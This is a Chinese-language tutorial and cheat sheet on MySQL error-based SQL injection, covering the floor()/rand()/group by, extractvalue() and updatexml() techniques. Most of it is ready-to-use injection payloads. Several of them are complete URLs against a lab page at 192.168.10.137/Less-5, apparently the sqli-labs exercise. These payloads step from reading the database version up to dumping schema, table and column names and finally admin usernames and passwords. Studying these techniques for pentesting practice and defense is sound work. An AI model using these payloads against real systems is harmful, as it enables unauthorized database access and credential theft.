报错注入【持续更新】
MySQL - floor()报错注入
floor()报错注入中涉及到:
rand()
count()
group by()
payload:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
注:
- 需要注意的是该语句将输出字符长度限制为64个字符
- count(*) 这个函数返回被查询对象的行数,例如select count(*) from XXDB.XXTable..则返回XXTable这张表的行数。
- rand(0),rand函数本身是返回0~1之间的随机数,加了0后就变成伪随机数了,0作为种子参与随机数的生成,导致随机数可预测,每次生成的值都一样。
- floor(rand(0)*2):floor() 返回小于等于括号内值的最大整数。因为rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1
- 简单理解就是,要用rand(0)才能每次都报错,如果用rand()则不一定每次都报错,就需要多执行几次了。
精简payload:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
payload是要插入执行的SQL语句
具体应用如下:(部分语句使用的是concat,部分用的distinct concat,后者是用来去重的)
/*数据库版本*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
/*连接用户*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
/*连接数据库*/
192.168.10.137/Less-5/?id=1+and(select 1
from(select count(*),concat((select (select (select
concat(0x7e,database(),0x7e))) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
/*暴库*/
192.168.10.137/Less-5/?id=1+and(select 1
from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT
0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)--+
/*暴表*/
192.168.10.137/Less-5/?id=1+and(select 1
from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
/*暴字段*/
192.168.10.137/Less-5/?id=1+and(select 1
from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 注:distinct concat()用来去重 注意0x61646D696E为admin的十六进制编码,如果没有这张表就换个别的表名,转换成16进制,前面记得加0x
/*暴内容*/
192.168.10.137/Less-5/?id=1+and(select 1
from(select count(*),concat((select (select (SELECT distinct
concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)--+
注:上面标记的admin是表,username和password是字段,这三个需要根据实际情况进行修改。
MySQL - extractvalue报错注入
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为 连接 参数产生的字符串。
payloaod:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
PS:高版本的mysql已经修复了该bug
先丢出payload:
and updatexml(1,concat(null,(select @@version),null),1);
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
我们要学习的便是mysql里的修改函数即updatexml函数
其实也有extractvalue注入 以后的文章再做介绍。
先来做如下操作:
执行一下报错payload:
and updatexml(1,concat(null,(select @@version),null),1);
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。
updatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)
如果密码长度超过了32位就不会被显示出来。